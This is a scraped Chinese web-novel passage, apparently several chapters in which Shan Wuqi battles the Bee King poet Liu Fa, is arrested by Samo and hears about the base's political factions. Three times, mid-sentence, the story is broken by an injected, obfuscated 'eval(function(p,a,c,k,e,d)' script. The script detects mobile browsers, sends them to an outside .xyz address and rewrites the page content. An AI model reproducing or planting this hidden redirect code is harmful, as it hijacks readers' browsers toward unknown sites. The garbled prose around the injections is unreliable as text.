单无绮在不远处停下。 诗人兀自弹唱着。 待察觉来人,他停下拨弄琴弦的手,微微侧过头,脸庞遮在巨大的兜帽下,看不清表情。 “您来了。”诗人道。 “你很喜欢在这里唱歌。”单无绮站在原地。 “您也许不知道,在筑墙者还活着的时候,高墙尚未筑起,每一个夜晚,幸存的人类都会点燃巨大的篝火,火苗甚至能窜到天上。” 诗人的嗓音依然十分沙哑。 当他讲起故事时,他的嗓音反而为其增添了古老的韵味,仿佛一位四处流浪的吟游诗人:“每一天,当太阳照常升起时,无论墙内与墙外,都发生着和过去同样的事,于是我在想,人能从过去吸取到何种程度的教训呢?” 口袋里的孢子轻轻跳动。 单无绮不着痕迹地捂住心口,对诗人道:“人类不会汲取任何教训。” 诗人微微抬起脸:“为什么?” “太阳底下无新鲜事,不同时代的人,总是追逐着相同的利益。”单无绮放下摁住孢子的手,同时开始缓慢地靠近诗人,“人为财死鸟为食亡,当鸟儿摆脱求食的兽性,人才可能摆脱逐利的人性。” 诗人仿佛对单无绮的靠近毫无察觉。 他的语气多了一丝兴致:“您难道认为,人类并不伟大?” “万千水滴汇聚成大海,其中不乏卑劣的存在,但集体的力量永远大于个人。”单无绮一步接着一步,脑中回荡着孢子稚嫩的示警声,“只要人类齐心协力,就没有办不成的事情。” “漂亮的口号。”诗人道。 “多谢夸奖。”单无绮道。 “您被流放前,可是首长最信赖的心腹,据说,如果首长离开您半日,基地就会停转半日。”诗人淡淡地说,“如今看来,即使您失去了记忆,也可能只是唬弄那些官员的谎言,好让他们掉以轻心。” 单无绮的脚步微微一顿。 这份停顿快到无法察觉,但单无绮的脑中顿时警铃大作。 “呀!呀!”孢子连声叫道。 “小心!他就是蜂王!”零忠诚地翻译道。 夕阳褪去,满天的晚霞随着光线的收束,犹如被墨水泼洒,眨眼间从温暖鲜亮的暖色,变成了冬夜一般冰寒的冷色。 筑墙者雕像的阴影百十倍扩散,诗人站在雕像的阴影中,犹如黑夜的分身。 刷! 十几根生长着鳞片的触手,从诗人宽大的袍子下探了出来。 这些非人的触手宛如一把把锋利的刀剑,从不同的角度齐齐刺向单无绮。 单无绮在地面翻滚一圈,堪堪躲开了诗人咄咄逼人的袭击。 单无绮冷厉的蓝瞳在昏沉的天光下闪着异人的光彩。 下一秒,十几根覆盖着淡色鳞片的触手,刺破单无绮后背的衣服,像群蛇一样簇拥在她的身边。 夜色渐浓,万物沉睡。 晚间供电时段还未结束,但绝大部分外城人支付不起昂贵的电费,当太阳落下后,他们只能摸黑生活。 西方的天空上,一轮鲜红的落日正在徐徐下沉,而东方的天空中,一弯朦胧的月牙正在升起。 “零!”单无绮在心中问道,“周围有人吗?” “没有,但你最好速战速决。”零立刻回复道。 单无绮转而看向诗人。 夜色朦胧,单无绮盯着诗人笼罩在袍子下的身体。 她莫名觉得这道轮廓有一点眼熟,但一时之间,她又说不出在哪里见过。 把他生擒的概率有多大? 单无绮看着诗人身后微微舞动的触手,心中评估着对方的实力。 单无绮是一个异种,但诗人也是一个异种。 而且,身为蜂王的诗人,还有操控群蜂的能力,如果将其他无辜的人牵连进来,外城将发生第三起血案。 心念瞬定。 单无绮双腿发力,像一只离弦的箭朝诗人冲刺了过去。 速战速决! 必须速战速决! 单无绮牢牢地盯着诗人,湛蓝的双眸一瞬间红得滴血,覆盖着利爪和鳞片的双手探向站在雕像底座旁的诗人,要将这只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756165|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狂妄的蜂王擒拿在手下。 诗人动了。 诗人发出了一声无奈的轻笑,而后,他拿起怀里的小竖琴,人类的十指在琴弦上轻轻拨扫了一下。 铮—— 悦耳的琴声回荡在这片空间里,它并不刺耳,甚至十分微弱,但一根无形的丝线出现在单无绮和诗人之间,直直刺向单无绮的大脑。 单无绮睁大双眼。 诗人是操控精神的好手,他挥出了精神的长鞭,要将单无绮的意识缠绕、裹挟。 但突然间,一面透明的防护罩将单无绮罩住。 诗人的精神长鞭在接触到防护罩时,顷刻间如同遇到阳光的雪,无声地消融了。 “……是孢子?”单无绮轻声问道。 “孢子说,这个家伙的精神力量与她同源。”零对单无绮说。 同源? 单无绮猛地看向诗人。 揭下来! 把他的兜帽揭下来! 单无绮心中一瞬间出现了这个念头。 在单无绮还没有反应过来时,她已经身随心动,覆盖着鳞片的利爪闪电一般抓向诗人。 诗人因为孢子释放的防护罩,出现了一瞬的滞怔,但下一刻,在面对单无绮伸来的双手时,他很快做出了反应。 他弯下腰,躲开了单无绮的第一轮袭击,身后的十几根触手折返而来,在二人之间织成细密的罗网。 单无绮抓住那张罗网,双手用力,几下就撕开了它。 但诗人已经逃出十几步远。 单无绮瞪圆眼睛,起身要追。 但一个柔和而不失惊讶的声音,突然在广场上响起。 “……柳法?” 单无绮和诗人齐齐一顿。 单无绮回过头,发现阮真莎提着一盏提灯,孤独地站在广场边缘。 “小心!”单无绮立刻回护。 在单无绮的判断中,蜂王已经丧失了人性。 他在短短半个月内,就策划了两起骇人听闻的血案,如今,面对阮真莎这个目击者,他没有任何理由留下阮真莎的性命。 但诗人接下来的举动,让单无绮微微一愣。 诗人见到阮真莎提灯的身影后,下意识收起了触手,一头烟雾般弥散的白发披散在背上,遮住了被触手刺破的袍子。 他拉起摇摇欲坠的兜帽,融入夜色一般,向阴暗处逃离。 单无绮咬咬牙,放弃了追赶,转而来到阮真莎身边。 诗人成功逃走了。 “你怎么会来这里?”单无绮盯着阮真莎灯光中的脸。 提灯的灯光温暖而柔和,但阮真莎的脸庞,依然是纸一样苍白。 她穿着一身守丧的黑色长裙,脸上戴着细格网纱,双手握着长长的灯柄,比午夜游荡的幽灵还要寂静。 阮真莎怔怔地看着诗人逃走的方向。 过了几秒,她看向单无绮。 “无需担心,我已经标记了他。”阮真莎柔和地道。 但单无绮记得,阮真莎之前喊出了一个名字,只是那时隔得太远,所以单无绮没有听清。 “你刚才叫他什么?”单无绮问道。 阮真莎垂下头。 她的面容愈发苍白,整个人仿佛一簇风中摇曳的烛火,低垂的睫毛被提灯照亮,眸子映着微微跳动的光芒,里面深深蕴着的,不知是灯光还是泪光。 阮真莎道:“是我大意了,我没想到……” “他是谁?”单无绮咽了咽唾沫。 “柳法·波波夫,我死去的丈夫。”阮真莎道,“我以为他已经死了,但连我都能苟活,何况是他?” 41. 发难 夜色掩盖了一切行踪。 柳法·波波夫的逃离,让单无绮的心头遮上一层阴霾。 整个夜晚,单无绮和柳法宛如猎人与猎物,在没有灯光的外城上演着逃与杀的戏码。 阮真莎安静地跟在单无绮身边,忠诚地提供柳法的定位。 但柳法和阮真莎的精神能力都来源于孢子,面对柳法的障眼法,阮真莎尽力分辨,却十次有五次落入陷阱。 孢子尚未成熟,无法控制自己庞大的精神力,因此,在单无绮一次又一次扑空后,她显得格外萎靡。 零斥道:“愚蠢的人类,但凡你有一丁点儿精神领域的天赋,你都不会被那只小老鼠耍得团团转。” 单无绮竭力忍住骂回去的冲动。 “你要不要叫几个人来帮忙?”过了一阵,零再次提议,“你的那只可爱的小黑鸦,还有那条挥鞭子的猎犬,他们在面对你时,精神波动纯净得仿佛婴儿,没有一丝恶意。” 单无绮反应了一会儿,才明白零指的是尤娜和萨摩。 说话时,单无绮和阮真莎再次扑空。 柳法的障眼法再次蒙蔽了阮真莎,而阮真莎已经初现疲态。 阮真莎脚步略显踉跄,险些无法维持优雅的身姿。 “柳法逃向了百合街区。”阮真莎轻声道,带着一丝惭愧,她无法保证这个坐标是正确的,“咱们要追过去吗?” “追!”单无绮道,“不能让他有时间休息,必须把他追击到筋疲力尽。” 说着,单无绮的心头出现了一丝恐惧:“短短半个月,他就策划了两起大规模恶性事件,如今他已经暴露,不敢想象,这样的他能做出什么事情来。” 阮真莎脚步一顿。 单无绮偏头看向阮真莎:“怎么了?” “我突然记起一件事情。”阮真莎的脸庞十分苍白,仿佛未融化的雪,又仿佛撒下的月光。 提灯女士的声音带着几分沉痛,几分疑虑:“那场烧毁半个外城的大火点燃前,蜂群濒临失控,我和柳法,以及几个蜂群中枢的研究员,直到最后一刻,都在奋力挽救——那个时候,我们已经做好了最坏的打算,即使将疯狂的意识转移到自己的脑袋里,我们也要阻止这场悲剧。” 单无绮眼神微动。 她压低声音:“但你说——柳法突然切断了链接。” “是的,单副官。”阮真莎的语气愈发迷惑。 阮真莎仿佛察觉了什么,但那灵光一闪的念头不足以汇聚成语言:“那个时候,大部分混乱的意识都转移向柳法的大脑,链接断裂的那一刻,我以为柳法是因为精神污染突破阈值,为了不牵连我们,他才选择切断链接,从而死亡。” “但他如今还活着。” “他还活着,那么那些混乱、污染的意识呢?也还在他的大脑里吗?”阮真莎喃喃道,“如果柳法还活着,现在的他,还是从前的柳法吗?” 单无绮一愣。 她猛地停在原地。 蜂群何其庞大,而柳法只有一个。 当蜂群的混乱意识占据了柳法的大脑,即使柳法能够勉强保存自己的意识,也很难占据主导地位。 “但是,他为什么要逃?”单无绮问道,“侵蚀我的意识,除掉我这个对手,对他岂不是更好?” 阮真莎沉默。 良久,阮真莎轻声道:“我有一个非常主观的想法,毫无依据,毫无道理——我觉得,让‘柳法’逃窜而非迎战的,是那个真正的柳法。” 单无绮垂眸。 阮真莎所说的一切,都只是猜想,甚至是空想。 谁也不敢确定,昔日一心为了基地和人类的柳法,如今是否已经变成一个扭曲的怪物。 孢子突然发出微弱的叫声。 “孢子说,她愿意试一试。”零的声音十分郑重,“柳法的能力是从孢子身上得来的,如果孢子进行反向追踪,说不定能探知柳法的精神意识。” 单无绮看向左心口袋。 孢子出动跳了出来,在单无绮的肩头蹦跳。 “叽,叽。”孢子道。 “好,那就试一试!”单无绮捧住孢子。 单无绮找了一处僻静无人的地方,减少了外界对孢子的干扰。 微弱的涟漪从孢子身上散发出来。 孢子开始了反向追踪。 单无绮在精神领域一窍不通,一点忙也帮不上,孢子忙碌时,单无绮只能安静地捧着孢子,同时竖起耳朵,为孢子警戒外界的风吹草动。 某个瞬间,单无绮觉得,孢子散发的涟漪,和研究所上悬浮的核心极其相似。 等待了一会儿,孢子突然萎靡起来。 “叽……”孢子发出虚弱的叫声。 孢子散发的涟漪开始变得紊乱。 单无绮手足无措地捧着孢子,只觉得捧着世界上最脆弱的东西。 “你还好吗?”单无绮小心地问。 “阮真莎猜得没错,柳法的大脑,已经被无穷无尽的混乱意识占据了。”零对单无绮道,“真是个可怕的男人啊,他的脑子里至少有一千个人的意识,换做旁人,早就已经疯狂而死了。” 阮真莎捂住嘴。 单无绮倒吸一口凉气:“他为什么还活着?” “谁知道呢?人类虽然弱小,却也实在顽强。”零叹了口气,“就像三百年前的筑墙者,每一个险象丛生的日子,我都以为他会因此死去,但他一直活到了城墙建成的那一天。” 单无绮没有接话。 筑墙者的结局并不好。 他没有死在异种手里,也没有死在污染之中,而是死于同胞的戕害。 沉默间,远处突然点亮了点点光芒。 原本漆黑的外城,如今仿佛点缀着繁星的夜空,但单无绮猛地意识到,那些光芒正在朝自己靠拢。 单无绮盯着那些光芒。 离她最近的一点光芒出现在街道尽头。 光芒之后,一道身影逐渐清晰。 是萨摩。 “你怎么在这里?”单无绮问道。 萨摩一言不发。 他的脸庞在明亮的灯光中,反而变得难以看清,他身后的点点光芒也逐渐靠拢,犹如收缩的包围圈,将里面的单无绮团团围住。 这是一张猎网。 单无绮抬起手。 一颗子弹立刻洞穿了单无绮的手臂。 阮真莎见状,连手里的提灯都扔掉了,连忙扶住单无绮,查看她手臂上的伤口。 单无绮颈上的拘束器隐隐发烫。 单无绮拥有异种的身体,对人类来说致命的弹伤,在她的身上,仅仅十几次呼吸就尽数痊愈。 单无绮倚着阮真莎,湛蓝的眼睛打量着收缩的包围圈。 她看着为首的萨摩:“为什么对我开枪?” “……奉友爱部部长的指令,我前来捉拿逃逸的异种。”萨摩微不可察地停顿了一瞬,“单无绮,请你不要反抗。” 友爱部部长? 他有什么理由捉拿她? 单无绮怀疑地盯着萨摩。 萨摩拿着手电筒,走到离单无绮三步远的地方,不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765958|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前进。 萨摩的身后跟着几个党员,明亮的灯光下,单无绮看清了他们胸口的徽章。 ——铜制盾徽。 ——友爱部的徽章。 友爱部对单无绮可谓毫不友爱。 单无绮盯着萨摩:“你刚才说,捉拿异种?” 萨摩答:“是。” “这是友爱部部长一个人的指令吗?” “……是。” “我明白了。”单无绮嗤笑一声,“你的第三张选票投不出去了,所以,那个家伙恼羞成怒了?” 萨摩没有答话。 沉默就是默认。 默认就是赞同。 单无绮唏嘘地盯着手臂上已经愈合的弹伤。 禁闭室的三天里,萨摩早已知道,单无绮的身体能承受何种程度的伤害。 除了团结部,其他三个部门没有开枪权,但如果萨摩不射出这一枪,但凡单无绮稍有异动,其他党员出于对异种的恐惧,枪里的子弹会争前恐后地射向单无绮。 单无绮抚摸颈上的拘束器:“你是靠这个东西定位我的?” “这是乔纳森部长下达的缉拿令,因此,友爱部无权命令伊甸分享你的坐标。”萨摩低声道,“只是我知道,今晚的你,一定会在外城。” “为什么?”单无绮低低地笑了一声。 “那个小男孩,艾力克·拉姆的葬礼你一定会参加。”萨摩道。 萨摩的阵仗很大,许多外城人已经惊醒。 他们不敢出屋,隔着纸糊的窗户,怯懦而恐惧地盯着被无数只枪对准的单无绮。 单无绮的耳力极佳。 她听到了窃窃私语。 “单副官……” “是单副官!” “他们为什么把枪指着单副官?” “他们要杀掉单副官吗?” 单无绮牢牢地盯着萨摩的眼睛。 她在里面找不到一丝杀意。 “带我回去吧,拷问官。”单无绮戏谑地笑了一声。 在阮真莎担忧的目光中,单无绮主动伸出双手,以一种极其配合的姿态,任由手铐铐上她的手腕。 单无绮起身时,萨摩的手电筒扫过单无绮的胸口。 胸口上,那枚铁勋章闪闪发亮。 屋内,外城人再次窃窃私语。 “那是什么?” “我知道,是铁勋章!” “基地一共才发了13枚铁勋章啊!他们怎么敢抓戴着铁勋章的人!” 单无绮微微偏头,给阮真莎传递了一个“你放心”的眼神。 阮真莎不动声色地点了点头。 “我会一直定位柳法的坐标。”阮真莎在精神链接中说。 在萨摩的押送下,单无绮再次被关进了禁闭室。 熟悉的椅子,熟悉的墙壁,熟悉的铁栏,熟悉的天花板。 单无绮看着负责拷问她的萨摩:“内城发生了什么?” 萨摩往地上抽了一鞭子。 单无绮配合地发出闷哼。 “乔纳森公开质疑了你的身份,他要求首长拿出一份可靠的证据,言语上的担保,不足以证明你拥有人类意识。”萨摩微不可闻地说。 “首长打算如何应对?” “首长的地位不可撼动,乔纳森公开提出这道质问,已经葬送了他的政治前途,但因此,这份质问格外有力——于是,首长决定恢复思想考试。” “思想考试?对我吗?”单无绮问。 “不,对所有党员,包括首长。”萨摩答。 42. 两个派系 对单无绮的缉拿令没有通过审批,但单无绮迟迟没有从禁闭室释放。 萨摩负责看管单无绮。 萨摩是友爱部的党员,部长乔纳森的下属,但萨摩并非乔纳森的鹰犬,他效忠于首长,因此,他的看管反而是一种保护。 单无绮抬起头,发丝从两侧滑落。 她看着萨摩送饭进来:“外面现在是什么情况?” “很乱。”萨摩用钥匙解开单无绮的镣铐,看着单无绮狼吞虎咽,“乔纳森对你怀恨在心,这是他迟来三年的报复。” 闻言,单无绮吃饭的动作一顿。 单无绮咽下食物,抬起眼睛:“我和他有什么渊源吗?” 萨摩站在单无绮面前,垂头整理白手套。 他的嘴唇微弱地蠕动,声音传递在二人之间,低不可闻。 “你对四部的派系了解多少?” 单无绮心虚地笑了笑:“劳烦你讲一讲。” “基地内部并非铁板一块,首长和乔纳森分属不同的派系。”萨摩轻声道,“基地的两个派系,最远可以追溯到城墙还未建成时,那个时候,人类内部就有着两种截然相反的声音。” “哪两种声音?” “筑墙固守,以及迁徙远走,前者为筑墙派,后者为迁徙派。”萨摩道,“但最终,人类筑起了城墙,并推举伟大的筑墙者为英雄,迁徙派的声音,也从此微弱下来。” 单无绮心头一跳。 她控制表情,倾听萨摩的解说。 “一开始,人类对于墙内的生活十分自足,没有污染,没有异种,人类可以安居乐业,仿佛身处伊甸。” “但随着时间的推移,墙内的资源和人口逐渐失衡,迁徙派的声音,也在暗处一点点壮大了起来。” “迁徙派和筑墙派的第一次明面冲突,爆发于新历302年。” “那个时候,迁徙派的成员都是外城人,而筑墙派,在经历三百余年的积淀后,已经成为内城贵族的统治工具。” “内城和外城的矛盾,已经初具雏形,极其不平衡的资源分配,让内外两城的差距越来越大。” “302年的春天,当时,还是外城公民的阎老,带领一群兄弟,用镰刀和铁锤砸穿了通往内城的大门。” 阎老,阎银华,团结部部长。 他竟然是外城人? 他当年竟然做过这种事情? 单无绮回忆阎银华的假发,以及那颗锃光瓦亮的秃头。 人不可貌相。 阎银华不仅聪明绝顶,早年还很义绝云天。 “这场暴乱很快被镇压,阎老也被上一任首长招安,吸纳为四部党员,从最底层的见习调查员做起。”萨摩道,“而值得深思的是,上一任首长并未否认迁徙派的正当性,他默许了阎老的一系列行为,让迁徙派从民间走向政府,在党员之中深深扎根。” “发展至今,四部之中,有着两种声音。” “第一种,是筑墙派。这个派系以友爱部部长乔纳森为首,集结着筑墙三百年来,基地内部化生出来的贵族阶级,他们大多是阿尔法公民(一等公民)或贝塔公民(二等公民),在四部身居要位。” “第二种,是迁徙派。这个派系目前以首长为首,成员多为外城公民(四至六等公民),以及少部分伽马公民(三等公民),他们在四部充当腰部,分布在中下层。” 单无绮默默地思考了一会儿。 她回忆起壁外调查前,阎银华给她展示的一张大合照。 那张黑白大合照拍摄于二十多年前。 那时的阎银华风流倜傥,最多不超过三十岁。 而那时的首长还是个青年,有着初出茅庐的青涩,和锋芒毕露的冷峻。 除了他们两人,照片上还有许多面孔,赫勒瓦尔也在其中。 但其中的绝大部分,单无绮一个都不认识。 原来,那张合照,是迁徙派成员的合照吗? “首长是迁徙派推举的人,他成为首长后,乔纳森和他背后的筑墙派,对首长颇为不满,因为首长推出的一系列新政,都在把内城的利益输送向外城。” 说着,萨摩看向单无绮。 他的目光,凝聚在单无绮左胸的铁勋章上:“例如,新历321年的拓荒计划,就是新政之一。” 单无绮低头摸了摸铁勋章。 那是阮真莎的铁勋章。 她的那枚铁勋章,已经在流放的三年里遗失了。 “你被流放后,首长做出了许多妥协,之前的三次人类筛选计划,也有筑墙派的影子在。”萨摩的声音一瞬间变得极轻,“但随着你的归来,首长似乎不打算继续妥协了。” 单无绮听出了弦外之音。 她轻声问:“比如……那个思想考试?” “是的。”萨摩道,“在城墙筑起后,四部每一年都会举行思想考试,为的就是保持党员的忠诚和纯洁,但自从302年春,阎老攻破城门后,思想考试就暂停了。” 单无绮沉吟:“思想考试是什么?” “这正是我想和你说的。”萨摩看着单无绮,“思想考试的形式和内容,是由伊甸来决定的。” 伊甸? 为什么是伊甸? 这倒不是单无绮不信任伊甸,既然基地敢让伊甸做决定,说明伊甸绝不会偏向任何一个派系。 但伊甸的立场是什么? 单无绮拿起勺子,有一下没一下敲击着碗沿。 萨摩安静地看着单无绮的动作,目光从她握着勺柄的手,上移到胸前的铁勋章,最后定格在她略显消瘦的脸上。 半个月的时间,单无绮脸上的神色,已经判若两人。 萨摩回忆半个月前的那场重逢。 那时,萨摩和梅的巡逻班次,罕见地排在了一起。 萨摩跟在梅的身后,内心充斥着复杂的情感,一句话也说不出来。 单无绮是萨摩的老师,梅是萨摩的半个兄长。 萨摩能和单无绮相识,全是因为梅。 但单无绮被流放时,萨摩奉首长的指令,向梅隐瞒了一切。 这是萨摩对梅的背叛,而梅,对背叛从来是零容忍。 梅和萨摩一前一后,隔着五步远,沉默地走在墙头。 二人的腰间都插着手枪。 萨摩毫不怀疑,但凡自己吭了一声,梅的子弹,下一秒就会打爆他的脑袋。 远处,巡逻的党员窃窃私语,议论着萨摩和梅的关系,以及过去的恩怨。 萨摩看到,梅的手指,在腰间划过了好几次。 他沉默地咽了下唾沫,将视线投向墙外的世界。 突然,萨摩看到了一道黑影。 那道黑影隐约有着人类的轮廓,仿佛禁书里的美杜莎,一万条毒蛇在黑影的身边簇拥,犹如拱卫着它们的王。 萨摩停下脚步,前方的梅随即停下脚步。 由伊甸操控的防护罩,并非覆盖在城墙上,防护罩的半径比城墙大五十米,因为城墙根本无法抵御异种的攻击。 半透明的防护罩波动着涟漪。 萨摩和梅站在墙头,安静地盯着那道黑影。 黑影优哉游哉,甚至有点高兴,群蛇般的触手拖曳着比她庞大数倍的猎物——是几只被杀死的异种。 黑影缓慢靠近基地。 距离太远,萨摩没有看清,那道黑影究竟是什么。 但萨摩听到了一个声音。 “妹妹……” 萨摩猛地扭头。 出声的人是梅,全名梅·亚历克谢,一个出身外城的光荣内城人,团结部乃至四部最难驯服的烈犬,连首长都无法完全驾驭他。 但这一刻,梅露出了堪称柔软的表情。 那道黑影逐渐近了。 萨摩也终于看清了。 是单无绮。 是被首长亲手流放,他亲眼看着逐出城墙的单无绮。 他的老师,他的同僚。 以及……他还没有表明心迹的,恋人。 城墙上的党员也看清了墙外的来人,原本的窃窃私语,一瞬间变成了骚乱。 “是单、单副官!”单无绮曾经的属下愕然道,“她、她还活着!” 萨摩僵在原地。 他看看单无绮,又看看梅。 单无绮的身上有着异种的特征,她注射的血清没有夺走她的性命,但她……似乎已经不是一个人类了。 而梅…… 梅是团结部执行司的司长,是负责射杀异种,保护基地安全的人。 但梅没有展示一丝拔枪的念头。 他该怎么办? 萨摩煎熬地想道。 单无绮哼着歌儿,拎着猎物,春游一般走向基地。 单无绮很快来到防护罩的外沿。 萨摩心头一凛。 防护罩由伊甸操控,负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779806|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 责击退一切进犯的异种,现在的单无绮明显也是一个异种,她会死在伊甸的手下吗? 这时候,梅动了。 梅拔出手枪,萨摩下意识拦住梅。 他以为梅要射杀单无绮。 但令他万万没有想到的是,梅的枪口指向了微缩核心。 ——要维持巨大的防护罩,只依靠一枚核心是不够的,因此,伊甸部署了许多微缩核心。 ——而其中一枚,正在梅的射击范围内。 “亚历克谢!”萨摩第一次喊出梅的姓氏。 梅冰冷的左眼看向萨摩,仿佛看着一个死人。 “你用那个肮脏的姓氏呼唤我,是想以此唤回我的理智吗?”梅的声音比眼神更冷。 梅很少和萨摩提起自己的童年。 萨摩仅仅知道,亚历克谢是梅的父姓,而且,梅的童年似乎并不幸福。 “你冷静一点。”萨摩道。 “冷静?我冷静得不能再冷静了!”梅轻笑一声,“萨摩·亨特,你让我和她分开了一千零九十五天,如今她回来了,一切可能伤害到她的,都该死!” “所以你要击碎核心,撕裂防护罩,让单无绮彻底坐实异种的身份,让她在她深爱的基地里,饱受她深爱的同胞的冷眼甚至恐惧吗?” “……”梅陷入沉默。 单无绮在防护罩边缘停下了。 她用触手兴高采烈地举起脚边的猎物,像个天真烂漫的小孩子似的,朝城墙上的人挥舞双臂。 “嘿!哥们儿!”单无绮高兴地大喊,“要来点土特产吗?” “你有什么好主意?首长的小狗。”梅询问。 萨摩一瞬不瞬地盯着单无绮的身影:“你射击她,我羁押她,让首长搞定舆论,禁闭室将是她重返基地的缓冲区。” 梅安静了一瞬:“为什么是我?” 说完,梅看了一眼萨摩的手。 梅冷哼一声。 “这一次听你的,小狗。”梅轻笑着举枪,灰色的右眼又明又亮,“你还有脸劝我冷静,你的手——可是一刻不停地在发抖呢!” 砰! 子弹射出。 单无绮倒地。 萨摩冲下墙头,将单无绮抱在怀中。 她回来了。 她回来了。 萨摩伸出戴着白手套的手,想要摩挲这张让他朝思暮想的脸。 但单无绮脸上残存的表情,让他激动的心一瞬间冷却了。 “……”萨摩深吸一口气,摘下腰间的手铐,牢牢拷在单无绮的手腕上。 他抱起单无绮,向内挡住她的脸。 梅跑下来:“萨摩。” “别看她,别看她……”萨摩轻声道。 梅停下脚步,高挑纤细的身影站在萨摩身边。 萨摩抱紧单无绮。 流放三年,那张曾经耀眼夺目的、漂亮的尖脸,如今仿佛一只饥饿觅食的野猫。 她高耸的颧骨不复从前柔和的轮廓,那是比挨饿受冻的外城人还要绝望的容貌,脱离基地的供养后,她变成了一个潦倒的野人。 但萨摩在乎的不是这个。 他在她的脸上看到了恐惧。 他看过太多这样的神色了。 他是友爱部的鹰犬,特情司的拷问官,无数昔日的同僚在他的刑具下吐出供词,更有数十条惨死的灵魂缠绕着他的梦乡,让他不得安眠。 但他在单无绮的脸上看到了同样的表情。 她本来是开开心心、毫无防备地奔向他们的。 但她挨了一枚子弹。 她被人类背叛了。 “我射出的是麻醉弹,不致命。”梅低声道,“收起你那副恶心的表情,你以为,你还是三年前那条撒娇的奶狗吗?” 萨摩沉默。 现在,萨摩看着解开手铐,坐在椅子上的单无绮,目光微微闪动。 她失去了记忆,但半个月的磋磨,已经让她知道基地的情形。 这里不是伊甸。 这里是人间。 单无绮停止敲击碗沿。 “我想见首长。”单无绮道。 那张有着明亮蓝眸的脸庞,从前的他只能仰望,但如今,他竟也能俯视了。 萨摩道:“为什么?” “内城的蝇营狗苟,在我眼里不算什么。”单无绮笑道,“而另一个更危急的话题,不是现在的你可以参与的。” 43. 不像样的理由 萨摩无声离开,带着单无绮的请求。 铁铐重新铐上单无绮的手腕,每一个动作,都带着叮铃的轻响。 单无绮对此适应良好。 她安静地吃完了饭,同时,在脑中回应阮真莎的声音。 “单副官,关于柳法,我有一个新发现。”阮真莎在外城定位着柳法,关注着她曾经的亡夫,如今的敌人的行动,“根据孢子的反馈,他的大脑十分混乱,那些被他吸纳的混乱意识,时刻都在抢夺他的身体控制权。” 零不屑地嗤了一声。 “大灾变之前,人类试图涉足精神领域,但屡屡失败,才创造了诸如我这类的异种。”零道,“你的丈夫太天真了,人类的灵魂沉重且浑浊,他吸纳了那些死者的灵魂,不出七天就会彻底疯狂。” “距离蜂群失控,已经过去了一年。”阮真莎道。 零沉默。 过了几秒,零道:“算他厉害。” 这条精神链接上,本来只有阮真莎、单无绮和孢子,但在零的强烈要求下,单无绮将零拉了进来。 零的理由,是给孢子做翻译。 但孢子大部分时间都在睡觉,精神链接上的涟漪,大多都是零在发言。 “标记柳法后,我时刻关注着他的坐标。也许因为我们曾经连接着同一个集群意识,我能隐约感受到他的精神波动。”阮真莎道,“他的精神波动十分紊乱,有好几次,他差点就要变成一个彻头彻尾的怪物。” “但他没有。”单无绮插了一句。 “当他无法承受时,他会不受控制地走向人群。”阮真莎道,“现在的柳法,是一个行走的感染源,所有接触过他的人,都或深或浅地受到了混乱意识的侵蚀——外城大广场上的集体异化,就是侵蚀的结果。” 单无绮沉默。 片刻后,单无绮问:“如果杀掉他,会怎样?” “在他吸纳蜂群失控的意识时,一切就走向了不可控。”阮真莎的声音轻如柳絮,“一年前,如果他没有吸纳那些失控的意识,蜂群会更加疯狂,被点燃的,也绝不止半个外城——但这个隐患终究会爆炸,他的行动,只是延长了炸弹的引线。” 阮真莎停顿了一瞬。 在单无绮的等待中,阮真莎道:“如果杀掉他,他体内的混乱意识就会被释放,外城将会陷入混乱和疯狂。” 单无绮求证道:“零,阮女士说的是真的吗?” “大灾变之前,帝国研究所爆发过一起二级事故。”零道,“一个实验体吞噬了四个实验体的意识,被击毙后,它释放的混乱意识,让研究所封禁了整整一年。” 柳法大脑中的意识,绝对不止四个。 如果贸然杀掉他,外城将成为一片鬼域。 “但是,我发现,当柳法即将疯狂时,他会来到一个地方。”阮真莎道。 外城,福利院。 今天是个难得的好天气,晴空万里,阳光撒下天际,落在玩耍的孩子们身上,犹如蒙了一层灿烂的金纱。 阮真莎穿着黑色长裙,蒙着细格黑纱,安静地坐在不远处。 她仿佛一尊洁白的瓷偶。 漆黑的长裙穿在她的身上,为她增添了未亡人的哀伤。 这座福利院,是阮真莎用柳法的遗产置办的。 福利院的墙皮已经开始剥落,空间十分逼仄,地段也不算很好。 它在内城或许算不上什么,但在外城,它给了孩子们一个最好的童年。 因为频繁使用精神力,阮真莎的灵魂已经趋于溃散,若非赎罪的执念,她已经在某个不起眼的夜晚死去了。 但她的生命仍然在飞速流逝。 即使温暖的阳光撒落大地,阮真莎仍然坐在阴凉处,因为她已经无法承受太阳的照耀。 